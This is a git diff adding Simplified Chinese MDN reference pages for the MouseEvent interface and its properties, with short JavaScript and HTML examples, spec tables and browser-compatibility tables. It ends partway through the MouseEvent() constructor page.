diff --git a/files/zh-cn/web/api/mouseevent/altkey/index.html b/files/zh-cn/web/api/mouseevent/altkey/index.html new file mode 100644 index 0000000000..0ced8e2f28 --- /dev/null +++ b/files/zh-cn/web/api/mouseevent/altkey/index.html @@ -0,0 +1,124 @@ +--- +title: MouseEvent.altKey +slug: Web/API/MouseEvent/altKey +tags: + - DOM事件 + - altKey + - 只读属性 + - 鼠标事件 +translation_of: Web/API/MouseEvent/altKey +--- +

{{APIRef("DOM Events")}}

+ +

MouseEvent.altKey 只读属性是一个{{jsxref("Boolean")}}变量。当事件触发时,如果alt 被按下,则返回 true,否则返回false。

+ +

语法

+ +
var altKeyPressed = instanceOfMouseEvent.altKey
+
+ +

示例

+ +
<html>
+<head>
+<title>altKey example</title>
+
+<script type="text/javascript">
+
+function showChar(e){
+  alert(
+    "Key Pressed: " + String.fromCharCode(e.charCode) + "\n"
+    + "charCode: " + e.charCode + "\n"
+    + "ALT key pressed: " + e.altKey + "\n"
+  );
+}
+
+</script>
+</head>
+
+<body onkeypress="showChar(event);">
+<p>
+Press any character key,
+with or without holding down the ALT key.<br />
+You can also use the SHIFT key together with the ALT key.
+</p>
+</body>
+</html>
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM3 Events','#widl-MouseEvent-altKey','MouseEvent.altkey')}}{{Spec2('DOM3 Events')}}No change from {{SpecName('DOM2 Events')}}.
{{SpecName('DOM2 Events','#Events-MouseEvent','MouseEvent.altkey')}}{{Spec2('DOM2 Events')}}Initial definition.
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureFirefox (Gecko)ChromeInternet ExplorerOperaSafari
Basic support{{CompatVersionUnknown()}}{{CompatVersionUnknown()}}{{CompatVersionUnknown()}}{{CompatVersionUnknown()}}{{CompatVersionUnknown()}}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureFirefox Mobile (Gecko)AndroidIE MobileOpera MobileSafari Mobile
Basic support{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+ +

相关

+ + diff --git a/files/zh-cn/web/api/mouseevent/button/index.html b/files/zh-cn/web/api/mouseevent/button/index.html new file mode 100644 index 0000000000..57df922ffd --- /dev/null +++ b/files/zh-cn/web/api/mouseevent/button/index.html @@ -0,0 +1,111 @@ +--- +title: MouseEvent.button +slug: Web/API/MouseEvent/button +translation_of: Web/API/MouseEvent/button +--- +

{{APIRef("DOM Events")}}

+ +

MouseEvent.button是只读属性,它返回一个值,代表用户按下并触发了事件的鼠标按键。

+ +

这个属性只能够表明在触发事件的单个或多个按键按下或释放过程中哪些按键被按下了。因此,它对判断{{event("mouseenter")}}, {{event("mouseleave")}}, {{event("mouseover")}}, {{event("mouseout")}} {{event("mousemove")}}这些事件并不可靠。

+ +

用户可能会改变鼠标按键的配置,因此当一个事件的MouseEvent.button值为0时,它可能不是由物理上设备最左边的按键触发的。但是对于一个标准按键布局的鼠标来说就会是左键。

+ +
+

注意:{{domxref("MouseEvent.buttons")}} 属性可指示任意鼠标事件中鼠标的按键情况,因此不要把它和MouseEvent.button属性弄混淆了。

+
+ +

语法

+ +
var buttonPressed = instanceOfMouseEvent.button
+
+ +

返回值

+ +

一个数值,代表按下的鼠标按键:

+ + + +

对于配置为左手使用的鼠标,按键操作将正好相反。此种情况下,从右至左读取值。

+ +

示例

+ +

HTML

+ +
<button id="button" oncontextmenu="event.preventDefault();">Click here with your mouse...</button>
+<p id="log"></p>
+
+ +

JavaScript

+ +
let button = document.querySelector('#button');
+let log = document.querySelector('#log');
+button.addEventListener('mouseup', logMouseButton);
+
+function logMouseButton(e) {
+  if (typeof e === 'object') {
+    switch (e.button) {
+      case 0:
+        log.textContent = 'Left button clicked.';
+        break;
+      case 1:
+        log.textContent = 'Middle button clicked.';
+        break;
+      case 2:
+        log.textContent = 'Right button clicked.';
+        break;
+      default:
+        log.textContent = `Unknown button code: ${e.button}`;
+    }
+  }
+}
+ +

结果

+ +

{{EmbedLiveSample("示例")}}

+ +

规范

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM3 Events','#widl-MouseEvent-button','MouseEvent.button')}}{{Spec2('DOM3 Events')}}Compared to {{SpecName('DOM2 Events')}}, the return value can be negative.
{{SpecName('DOM2 Events','#Events-MouseEvent','MouseEvent.button')}}{{Spec2('DOM2 Events')}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.MouseEvent.button")}}

+ +

参阅

+ + diff --git a/files/zh-cn/web/api/mouseevent/buttons/index.html b/files/zh-cn/web/api/mouseevent/buttons/index.html new file mode 100644 index 0000000000..4e1b1afd0f --- /dev/null +++ b/files/zh-cn/web/api/mouseevent/buttons/index.html @@ -0,0 +1,121 @@ +--- +title: MouseEvent.buttons +slug: Web/API/MouseEvent/buttons +translation_of: Web/API/MouseEvent/buttons +--- +
{{APIRef("DOM Events")}}
+ +
只读属性MouseEvent.buttons指示事件触发时哪些鼠标按键被按下。
+ +
+ +

每一个按键都用一个给定的数(见下文)表示。如果同时多个按键被按下,buttons 的值为各键对应值做与计算(+)后的值。例如,如果右键(2)和滚轮键(4)被同时按下,buttons 的值为 2 + 4 = 6。

+ +
+

注意:属性 MouseEvent.button 和 MouseEvent.buttons 是不同的。MouseEvent.buttons 可指示任意鼠标事件中鼠标的按键情况,而 MouseEvent.button 只能保证在由按下和释放一个或多个按键时触发的事件中获得正确的值。

+
+ +

语法

+ +
var buttonPressed = instanceOfMouseEvent.buttons
+
+ +

返回值

+ +

一个数字,用来标识鼠标按下的一个或者多个按键。如果按下的键为多个,则值等于所有按键对应数值进行或(|)运算的结果。

+ + + +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM3 Events','#widl-MouseEvent-buttons','MouseEvent.buttons')}}{{Spec2('DOM3 Events')}}Initial definition
+ +

Browser compatibility

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureEdgeFirefox (Gecko)ChromeInternet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}[1]43[2]9{{CompatVersionUnknown}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureEdgeFirefox Mobile (Gecko)AndroidIE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

[1] Gecko supports the buttons attribute on Windows, Linux (GTK), and Mac OS with the following restrictions:

+ + + +

[2] This feature got implemented in bug 276941.

+ +

See also

+ + diff --git a/files/zh-cn/web/api/mouseevent/clientx/index.html b/files/zh-cn/web/api/mouseevent/clientx/index.html new file mode 100644 index 0000000000..009b338b12 --- /dev/null +++ b/files/zh-cn/web/api/mouseevent/clientx/index.html @@ -0,0 +1,85 @@ +--- +title: MouseEvent.clientX +slug: Web/API/MouseEvent/clientX +tags: + - API + - DOM + - DOM Events +translation_of: Web/API/MouseEvent/clientX +--- +

{{APIRef("DOM Events")}}

+ +

MouseEvent.clientX 是只读属性, 它提供事件发生时的应用客户端区域的水平坐标 (与页面坐标不同)。例如,不论页面是否有水平滚动,当你点击客户端区域的左上角时,鼠标事件的 clientX 值都将为 0 。最初这个属性被定义为长整型(long integer),如今 CSSOM 视图模块将其重新定义为双精度浮点数(double float)。你可以查阅浏览器兼容性部分的文档来进一步了解有关信息。

+ +

语法

+ +

+var x = instanceOfMouseEvent.clientX
+
+ +

返回值

+ +

被 CSSOM View Module 重新定义为一个 double 类型的浮点值. 原来这个属性是被定义为一个 long 整数. 可以在 "浏览器兼容性" 那里查看详细内容.

+ +

示例

+ +
<!DOCTYPE html>
+<html>
+  <head>
+    <title>clientX/clientY example</title>
+
+    <script>
+      function showCoords(evt){
+        alert(
+          "clientX value: " + evt.clientX + "\n" +
+          "clientY value: " + evt.clientY + "\n"
+        );
+      }
+    </script>
+  </head>
+  <body onmousedown="showCoords(event)">
+    <p>To display the mouse coordinates click anywhere on the page.</p>
+  </body>
+</html>
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSSOM View','#dom-mouseevent-clientx', 'clientX')}}{{Spec2('CSSOM View')}}Redefines {{domxref("MouseEvent")}} from long to double.
{{SpecName('DOM3 Events','#widl-MouseEvent-clientX','MouseEvent.clientX')}}{{Spec2('DOM3 Events')}}No change from {{SpecName('DOM2 Events')}}.
{{SpecName('DOM2 Events','#Events-MouseEvent','MouseEvent.clientX')}}{{Spec2('DOM2 Events')}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.MouseEvent.clientX")}}

+ +

相关

+ + diff --git a/files/zh-cn/web/api/mouseevent/clienty/index.html b/files/zh-cn/web/api/mouseevent/clienty/index.html new file mode 100644 index 0000000000..2c682695d9 --- /dev/null +++ b/files/zh-cn/web/api/mouseevent/clienty/index.html @@ -0,0 +1,83 @@ +--- +title: MouseEvent.clientY +slug: Web/API/MouseEvent/clientY +tags: + - CSSOM View + - MouseEvent +translation_of: Web/API/MouseEvent/clientY +--- +

{{APIRef("DOM Events")}}

+ +

MouseEvent.clientY 是只读属性, 它提供事件发生时的应用客户端区域的垂直坐标 (与页面坐标不同)。例如,当你点击客户端区域的左上角时,鼠标事件的 clientY 值为 0 ,这一值与页面是否有垂直滚动无关。

+ +

语法

+ +
var y = instanceOfMouseEvent.clientY
+
+ +

Return value

+ +

被 CSSOM View Module 重新定义为一个 double 类型的浮点值. 原来这个属性是被定义为一个 long 整数. 可以在 "浏览器兼容性" 那里查看详细内容.

+ +

Example

+ +
<html>
+<head>
+<title>clientX\clientY example</title>
+
+<script type="text/javascript">
+function showCoords(evt){
+  alert(
+    "clientX value: " + evt.clientX + "\n"
+    + "clientY value: " + evt.clientY + "\n"
+  );
+}
+</script>
+</head>
+
+<body onmousedown="showCoords(event)">
+<p>To display the mouse coordinates click anywhere on the page.</p>
+</body>
+</html>
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSSOM View','#dom-mouseevent-clienty', 'clientY')}}{{Spec2('CSSOM View')}}Redefines {{domxref("MouseEvent")}} from long to double.
{{SpecName('DOM3 Events','#widl-MouseEvent-clientY','MouseEvent.clientY')}}{{Spec2('DOM3 Events')}}No change from {{SpecName('DOM2 Events')}}.
{{SpecName('DOM2 Events','#Events-MouseEvent','MouseEvent.clientY')}}{{Spec2('DOM2 Events')}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.MouseEvent.clientY")}}

+ +

查看更多

+ + diff --git a/files/zh-cn/web/api/mouseevent/ctrlkey/index.html b/files/zh-cn/web/api/mouseevent/ctrlkey/index.html new file mode 100644 index 0000000000..183a6e61cd --- /dev/null +++ b/files/zh-cn/web/api/mouseevent/ctrlkey/index.html @@ -0,0 +1,121 @@ +--- +title: MouseEvent.ctrlKey +slug: Web/API/MouseEvent/ctrlKey +translation_of: Web/API/MouseEvent/ctrlKey +--- +

{{APIRef("DOM Events")}}

+ +

鼠标事件ctrlKey是只读属性,可返回一个布尔值,当ctrl键被按下,返回true,否则返回false

+ +

语法

+ +
var ctrlKeyPressed = instanceOfMouseEvent.ctrlKey
+
+ +

返回值

+ +

A boolean

+ +

示例

+ +
<html>
+<head>
+<title>ctrlKey example</title>
+
+<script type="text/javascript">
+
+function showChar(e){
+  alert(
+    "Key Pressed: " + String.fromCharCode(e.charCode) + "\n"
+    + "charCode: " + e.charCode + "\n"
+    + "CTRL key pressed: " + e.ctrlKey + "\n"
+  );
+}
+
+</script>
+</head>
+
+<body onkeypress="showChar(event);">
+<p>Press any character key, with or without holding down the CTRL key.<br />
+You can also use the SHIFT key together with the CTRL key.</p>
+</body>
+</html>
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM3 Events','#widl-MouseEvent-ctrlKey','MouseEvent.ctrlKey')}}{{Spec2('DOM3 Events')}}No change from {{SpecName('DOM2 Events')}}.
{{SpecName('DOM2 Events','#Events-MouseEvent','MouseEvent.ctrlKey')}}{{Spec2('DOM2 Events')}}Initial definition.
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureFirefox (Gecko)ChromeInternet ExplorerOperaSafari
Basic support{{CompatVersionUnknown()}}{{CompatVersionUnknown()}}{{CompatVersionUnknown()}}{{CompatVersionUnknown()}}{{CompatVersionUnknown()}}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureFirefox Mobile (Gecko)AndroidIE MobileOpera MobileSafari Mobile
Basic support{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/mouseevent/getmodifierstate/index.html b/files/zh-cn/web/api/mouseevent/getmodifierstate/index.html new file mode 100644 index 0000000000..c19bc41748 --- /dev/null +++ b/files/zh-cn/web/api/mouseevent/getmodifierstate/index.html @@ -0,0 +1,55 @@ +--- +title: MouseEvent.getModifierState() +slug: Web/API/MouseEvent/getModifierState +translation_of: Web/API/MouseEvent/getModifierState +--- +

{{APIRef("DOM Events")}}

+ +

The MouseEvent.getModifierState() method returns the current state of the specified modifier key: true if the modifier is active (i.e., the modifier key is pressed or locked), otherwise, false.

+ +

See the document of {{domxref("KeyboardEvent.getModifierState","KeyboardEvent.getModifierState()")}} for details.

+ +

语法

+ +
var active =​ event.getModifierState(keyArg);
+ +

返回值

+ +

A {{jsxref("Boolean")}}

+ +

参数

+ +
+
keyArg
+
A modifier key value. The value must be one of the {{domxref("KeyboardEvent.key")}} values which represent modifier keys or "Accel". This is case-sensitive.
+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM3 Events', '#widl-MouseEvent-getModifierState', 'getModifierState()')}}{{Spec2('DOM3 Events')}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.MouseEvent.getModifierState")}}

+ +

See also

+ + diff --git a/files/zh-cn/web/api/mouseevent/index.html b/files/zh-cn/web/api/mouseevent/index.html new file mode 100644 index 0000000000..b6331ae58a --- /dev/null +++ b/files/zh-cn/web/api/mouseevent/index.html @@ -0,0 +1,182 @@ +--- +title: 鼠标事件 +slug: Web/API/MouseEvent +translation_of: Web/API/MouseEvent +--- +

{{APIRef("DOM Events")}}

+ +

MouseEvent 接口指用户与指针设备( 如鼠标 )交互时发生的事件。使用此接口的常见事件包括:{{event("click")}},{{event("dblclick")}},{{event("mouseup")}},{{event("mousedown")}}。

+ +

MouseEvent 派生自 {{domxref("UIEvent")}},{{domxref("UIEvent")}} 派生自 {{domxref("Event")}}。虽然 MouseEvent.initMouseEvent() 方法保持向后兼容性,但是应该使用 MouseEvent() 构造函数创建一个 MouseEvent 对象。

+ +

一些具体的事件都派生自 MouseEvent:{{domxref("WheelEvent")}} 和{{domxref("DragEvent")}}。

+ +

{{InheritanceDiagram}}

+ +

构造函数

+ +
+
{{domxref("MouseEvent.MouseEvent", "MouseEvent()")}}
+
生成一个新的MouseEvent对象
+
+ +

属性

+ +

这个接口也继承了{{domxref("UIEvent")}} 和 {{domxref("Event")}}原型上的方法,

+ +
+
{{domxref("MouseEvent.altKey")}} {{readonlyinline}}
+
当鼠标事件触发的时,如果alt 键被按下,返回true;
+
{{domxref("MouseEvent.button")}} {{readonlyinline}}
+
当鼠标事件触发的时,如果鼠标按钮被按下(如果有的话),将会返回一个数值。
+
{{domxref("MouseEvent.buttons")}} {{readonlyinline}} {{gecko_minversion_inline("15.0")}}
+
+

当鼠标事件触发的时,如果多个鼠标按钮被按下(如果有的话),将会返回一个或者多个代表鼠标按钮的数字。

+
+
{{domxref("MouseEvent.clientX")}} {{readonlyinline}}
+
鼠标指针在点击元素(DOM)中的X坐标。
+
{{domxref("MouseEvent.clientY")}} {{readonlyinline}}
+
鼠标指针在点击元素(DOM)中的Y坐标。
+
{{domxref("MouseEvent.ctrlKey")}} {{readonlyinline}}
+
当鼠标事件触发时,如果 control 键被按下,则返回 true;
+
{{domxref("MouseEvent.metaKey")}} {{readonlyinline}}
+
当鼠标事件触发时,如果 meta键被按下,则返回 true;
+
{{domxref("MouseEvent.movementX")}} {{readonlyinline}}
+
鼠标指针相对于最后{{event("mousemove")}}事件位置的X坐标。
+
{{domxref("MouseEvent.movementY")}} {{readonlyinline}}
+
鼠标指针相对于最后{{event("mousemove")}}事件位置的Y坐标。
+
+ +
+
{{domxref("MouseEvent.offsetX")}} {{readonlyinline}}{{experimental_inline}}
+
鼠标指针相对于目标节点内边位置的X坐标
+
{{domxref("MouseEvent.offsetY")}} {{readonlyinline}}{{experimental_inline}}
+
鼠标指针相对于目标节点内边位置的Y坐标
+
{{domxref("MouseEvent.pageX")}} {{readonlyinline}}{{experimental_inline}}
+
鼠标指针相对于整个文档的X坐标;
+
{{domxref("MouseEvent.pageY")}} {{readonlyinline}}{{experimental_inline}}
+
鼠标指针相对于整个文档的Y坐标;
+
+ +
+
{{domxref("MouseEvent.region")}} {{readonlyinline}}
+
返回被点击事件影响的点击区域的id,如果没有区域被影响则返回null。
+
{{domxref("MouseEvent.relatedTarget")}} {{readonlyinline}}
+
+

鼠标事件的次要目标(如果有的话)

+
+
{{domxref("MouseEvent.screenX")}} {{readonlyinline}}
+
鼠标指针相对于全局(屏幕)的X坐标;
+
{{domxref("MouseEvent.screenY")}} {{readonlyinline}}
+
鼠标指针相对于全局(屏幕)的Y坐标;
+
{{domxref("MouseEvent.shiftKey")}} {{readonlyinline}}
+
当鼠标事件触发时,如果 shift 键被按下,则返回 true;
+
{{domxref("MouseEvent.which")}} {{non-standard_inline}} {{readonlyinline}}
+
当鼠标事件触发时,表示被按下的按钮。
+
{{domxref("MouseEvent.mozPressure")}} {{non-standard_inline()}} {{readonlyinline}}
+
点击事件发生时施加在触摸屏或者平板设备的压力量。这个数值在0.0(最小压力)和1.0(最大压力)之间。
+
{{domxref("MouseEvent.mozInputSource")}} {{non-standard_inline()}} {{readonlyinline}}
+
生成事件的类型(若干 MOZ_SOURCE_* 常量如下列出)。可通过该属性获知鼠标事件是否由真实鼠标设备触发,亦或通过触摸事件触发(这可能影响处理坐标事件时的精确程度)。
+
{{domxref("MouseEvent.webkitForce")}} {{non-standard_inline()}} {{readonlyinline}}
+
点击时施加的压力量。
+
{{domxref("MouseEvent.x")}} {{experimental_inline}}{{readonlyinline}}
+
{{domxref("MouseEvent.clientX")}}的别名。
+
{{domxref("MouseEvent.y")}} {{experimental_inline}}{{readonlyinline}}
+
 {{domxref("MouseEvent.clientY")}}的别名。
+
+ +

常量

+ +
+
{{domxref("MouseEvent.WEBKIT_FORCE_AT_MOUSE_DOWN")}} {{non-standard_inline}}{{readonlyinline}}
+
正常点击所需的最小力量
+
{{domxref("MouseEvent.WEBKIT_FORCE_AT_FORCE_MOUSE_DOWN")}} {{non-standard_inline}}{{readonlyinline}}
+
强制点击所需的最小力量
+
+ +

方法

+ +

这个接口也继承了它的副方法{{domxref("UIEvent")}} 和{{domxref("Event")}}.

+ +
+
{{domxref("MouseEvent.getModifierState()")}}
+
返回指定修饰键的当前状态。请参照{{domxref("KeyboardEvent.getModifierState")}}() 查看详情。
+
{{domxref("MouseEvent.initMouseEvent()")}} {{deprecated_inline}}
+
初始化创建MouseEvent的值。如果这个事件已经被分派,这个方法将不会做任何事情。
+
+ +

示例

+ +

这个例子演示了使用DOM方法在复选框上模拟一个点击事件(使用编程的方式生成点击事件)。

+ +
function simulateClick() {
+  var evt = new MouseEvent("click", {
+    bubbles: true,
+    cancelable: true,
+    view: window,
+  });
+  var cb = document.getElementById("checkbox"); //element to click on
+  var canceled = !cb.dispatchEvent(evt);
+  if(canceled) {
+    // A handler called preventDefault
+    alert("canceled");
+  } else {
+    // None of the handlers called preventDefault
+    alert("not canceled");
+  }
+}
+document.getElementById("button").addEventListener('click', simulateClick);
+ +
<p><label><input type="checkbox" id="checkbox"> Checked</label>
+<p><button id="button">Click me</button>
+ +

点击按钮查看演示:

+ +

{{ EmbedLiveSample('示例', '', '', '') }}

+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSSOM View','#extensions-to-the-mouseevent-interface', 'MouseEvent')}}{{Spec2('CSSOM View')}}Redefines MouseEvent from long to double. This means that a PointerEvent whose pointerType is mouse will be a double.
{{SpecName('Pointer Lock','#extensions-to-the-mouseevent-interface','MouseEvent')}}{{Spec2('Pointer Lock')}}From {{SpecName('DOM3 Events')}}, added movementX and movementY properties.
{{SpecName('CSSOM View', '#extensions-to-the-mouseevent-interface', 'MouseEvent')}}{{Spec2('CSSOM View')}}From {{SpecName('DOM3 Events')}}, added offsetX and offsetY, pageX and pageY, x, and y properties. Redefined screen, page, client and coordinate (x and y) properties as double from long.
{{SpecName('DOM3 Events','#events-mouseevents','MouseEvent')}}{{Spec2('DOM3 Events')}}From {{SpecName('DOM2 Events')}}, added the MouseEvent() constructor, the getModifierState() method and the buttons property.
{{SpecName('DOM2 Events','#Events-MouseEvent','MouseEvent')}}{{Spec2('DOM2 Events')}}Initial definition.
+ +

浏览器兼容性

+ +

{{Compat("api.MouseEvent")}}

+ +

参考

+ + diff --git a/files/zh-cn/web/api/mouseevent/initmouseevent/index.html b/files/zh-cn/web/api/mouseevent/initmouseevent/index.html new file mode 100644 index 0000000000..ffb87f8953 --- /dev/null +++ b/files/zh-cn/web/api/mouseevent/initmouseevent/index.html @@ -0,0 +1,171 @@ +--- +title: MouseEvent.initMouseEvent() +slug: Web/API/MouseEvent/initMouseEvent +translation_of: Web/API/MouseEvent/initMouseEvent +--- +

{{APIRef("DOM Events")}}{{deprecated_header}}

+ +

MouseEvent.initMouseEvent() 方法用以在鼠标事件创建时(一般用 {{domxref("Document.createEvent()")}}方法创建)初始化其属性的值。

+ +

事件初始化是在事件被{{ domxref("Document.createEvent()") }}方法创建后必需的。这个方法必须在事件被{{ domxref("EventTarget.dispatchEvent()") }}方法发送出来前调用。一旦事件被发送后,它将不再起任何作用。 

+ +
+

不要再用此方法,已过时。

+ +

使用特定的事件构造器来替代它,像 {{domxref("MouseEvent.MouseEvent", "MouseEvent()")}}。创建并发送事件 页面里有更多的使用信息。

+
+ +

语法

+ +
event.initMouseEvent(type, canBubble, cancelable, view,
+                     detail, screenX, screenY, clientX, clientY,
+                     ctrlKey, altKey, shiftKey, metaKey,
+                     button, relatedTarget);
+ +

形参

+ +
+
type
+
设置事件类型{{domxref("Event.type", "type")}} 的字符串,包含以下几种鼠标事件:clickmousedownmouseupmouseovermousemovemouseout
+
canBubble
+
是否可以冒泡。取值集合见{{domxref("Event.bubbles")}}。
+
cancelable
+
是否可以阻止事件默认行为。取值集合见{{domxref("Event.cancelable")}}。
+
view
+
事件的AbstractView对象引用,这里其实指向{{domxref("window")}} 对象。取值集合见 {{domxref("UIEvent.view")}}。
+
detail
+
事件的鼠标点击数量。取值集合见{{domxref("Event.detail")}}。
+
screenX
+
事件的屏幕的x坐标。取值集合见{{domxref("MouseEvent.screenX")}}。
+
screenY
+
事件的屏幕的y坐标。取值集合见{{domxref("MouseEvent.screenY")}}。
+
clientX
+
事件的客户端x坐标。取值集合见{{domxref("MouseEvent.clientX")}}。
+
clientY
+
事件的客户端y坐标。取值集合见{{domxref("MouseEvent.clientY")}}。
+
ctrlKey
+
事件发生时 control 键是否被按下。取值集合见{{domxref("MouseEvent.ctrlKey")}}。
+
altKey
+
事件发生时 alt 键是否被按下。取值集合见{{domxref("MouseEvent.altKey")}}。
+
shiftKey
+
事件发生时 shift 键是否被按下。取值集合见{{domxref("MouseEvent.shiftKey")}}。
+
metaKey
+
事件发生时 meta 键是否被按下。取值集合见{{domxref("MouseEvent.metaKey")}}。
+
button
+
鼠标按键值 {{domxref("MouseEvent.button", "button")}}。
+
relatedTarget
+
事件的相关对象。只在某些事件类型有用 (例如 mouseover ?和 mouseout)。其它的传null。
+
+

 

+ +

?示例

+ +

HTML内容

+ +
<div style="background:red;width:180px;padding:10px;">
+ <div id="out"></div>
+ <input type="text">
+</div>
+
+ +

JavaScript内容

+ +
document.body.onclick = function(){
+ e = arguments[0];
+ var dt = e.target,stag = dt.tagName.toLowerCase();
+ document.getElementById("out").innerHTML = stag;
+};
+var simulateClick = function(){
+ var evt = document.createEvent("MouseEvents");
+ evt.initMouseEvent("click", true, true, window, 0, 0, 0, 80, 20, false, false, false, false, 0, null);
+ document.body.dispatchEvent(evt);
+}
+simulateClick();//Why it can not show "input" ?
+
+ +

这里有个在线演示

+ +

{{EmbedLiveSample('Example', 200, 36)}}

+ +

{{ LiveSampleLink('Example', 'Link to live demo') }}

+
+
+ +

标准

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM3 Events', '#idl-interface-MouseEvent-initializers', 'MouseEvent.initMouseEvent()')}}{{Spec2('DOM3 Events')}}From {{SpecName('DOM2 Events')}}, deprecated.
{{SpecName('DOM2 Events', '#Events-Event-initMouseEvent', 'MouseEvent.initMouseEvent()')}}{{Spec2('DOM2 Events')}}Initial definition.
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatUnknown() }}{{ CompatVersionUnknown() }}{{ CompatUnknown() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatUnknown() }}{{ CompatVersionUnknown() }}{{ CompatUnknown() }}
+
+ +

参阅

+ + diff --git a/files/zh-cn/web/api/mouseevent/metakey/index.html b/files/zh-cn/web/api/mouseevent/metakey/index.html new file mode 100644 index 0000000000..3857a4f284 --- /dev/null +++ b/files/zh-cn/web/api/mouseevent/metakey/index.html @@ -0,0 +1,112 @@ +--- +title: MouseEvent.metaKey +slug: Web/API/MouseEvent/metaKey +translation_of: Web/API/MouseEvent/metaKey +--- +

{{APIRef("DOM Events")}}

+ +

MouseEvent.metaKey 为只读属性,返回一个 {{jsxref("Boolean", "布尔值")}},在鼠标事件发生时,用于指示 Meta 键是按下状态(true),还是释放状态(false)。

+ +
+

备注:在 MAC 键盘上,表示 Command 键(),在 Windows键盘上,表示 Windows 键()。

+
+ +

语法

+ +
var metaKeyPressed = instanceOfMouseEvent.metaKey
+
+ +

返回值

+ +

一个布尔值。

+ +

示例

+ +
 function goInput(e) {
+ // 检测 metaKey 值
+   if (e.metaKey) {
+        // 继续处理事件
+     superSizeOutput(e);
+   } else {
+     doOutput(e);
+   }
+ }
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
规范版本规范状态备注
{{SpecName('DOM3 Events','#widl-MouseEvent-ctrlKey','MouseEvent.ctrlKey')}}{{Spec2('DOM3 Events')}}No change from {{SpecName('DOM2 Events')}}.
{{SpecName('DOM2 Events','#Events-MouseEvent','MouseEvent.ctrlKey')}}{{Spec2('DOM2 Events')}}Initial definition.
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureFirefox (Gecko)ChromeInternet ExplorerOperaSafari
Basic support{{CompatVersionUnknown()}}{{CompatVersionUnknown()}}{{CompatVersionUnknown()}}{{CompatVersionUnknown()}}{{CompatVersionUnknown()}}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureFirefox Mobile (Gecko)AndroidIE MobileOpera MobileSafari Mobile
Basic support{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/mouseevent/mouseevent/index.html b/files/zh-cn/web/api/mouseevent/mouseevent/index.html new file mode 100644 index 0000000000..df7fd6c8c6 --- /dev/null +++ b/files/zh-cn/web/api/mouseevent/mouseevent/index.html @@ -0,0 +1,184 @@ +--- +title: MouseEvent() +slug: Web/API/MouseEvent/MouseEvent +tags: + - API + - Constructor + - DOM + - MouseEvent + - 事件 + - 构造器 + - 鼠标 + - 鼠标事件 +translation_of: Web/API/MouseEvent/MouseEvent +--- +

{{APIRef("DOM Events")}}

+ +

MouseEvent() 构造器创建一个 {{domxref("MouseEvent")}}。

+ +

语法

+ +
 event = new MouseEvent(typeArg, mouseEventInit);
+ +

形参

+ +
+
typeArg
+
{{domxref("DOMString")}} 格式的事件名称。
+
mouseEventInit {{optional_inline}}
+
+ +
+
初始化 MouseEvent 的字典,有下列属性字段: + +
    +
  • "screenX"long 型可选,默认为 0,设置鼠标事件发生时相对于用户屏幕的水平坐标位置;该操作并不会改变真实鼠标的位置。
  • +
  • "screenY"long 型可选,默认为 0,设置鼠标事件发生时相对于用户屏幕的垂直坐标位置;该操作并不会改变真实鼠标的位置。
  • +
  • "clientX"long 型可选,默认为 0,设置鼠标事件时相对于客户端窗口的水平坐标位置;该操作并不会改变真实鼠标的位置。
  • +
  • "clientY"long 型可选,默认为 0,设置鼠标事件时相对于客户端窗口的垂直坐标位置;该操作并不会改变真实鼠标的位置。
  • +
  • "ctrlKey",{{jsxref("Boolean")}} 型可选,默认为false,标明是否同时按下 ctrl 键。
  • +
  • "shiftKey",{{jsxref("Boolean")}} 型可选,默认为false,标明是否同时按下 shift 键。
  • +
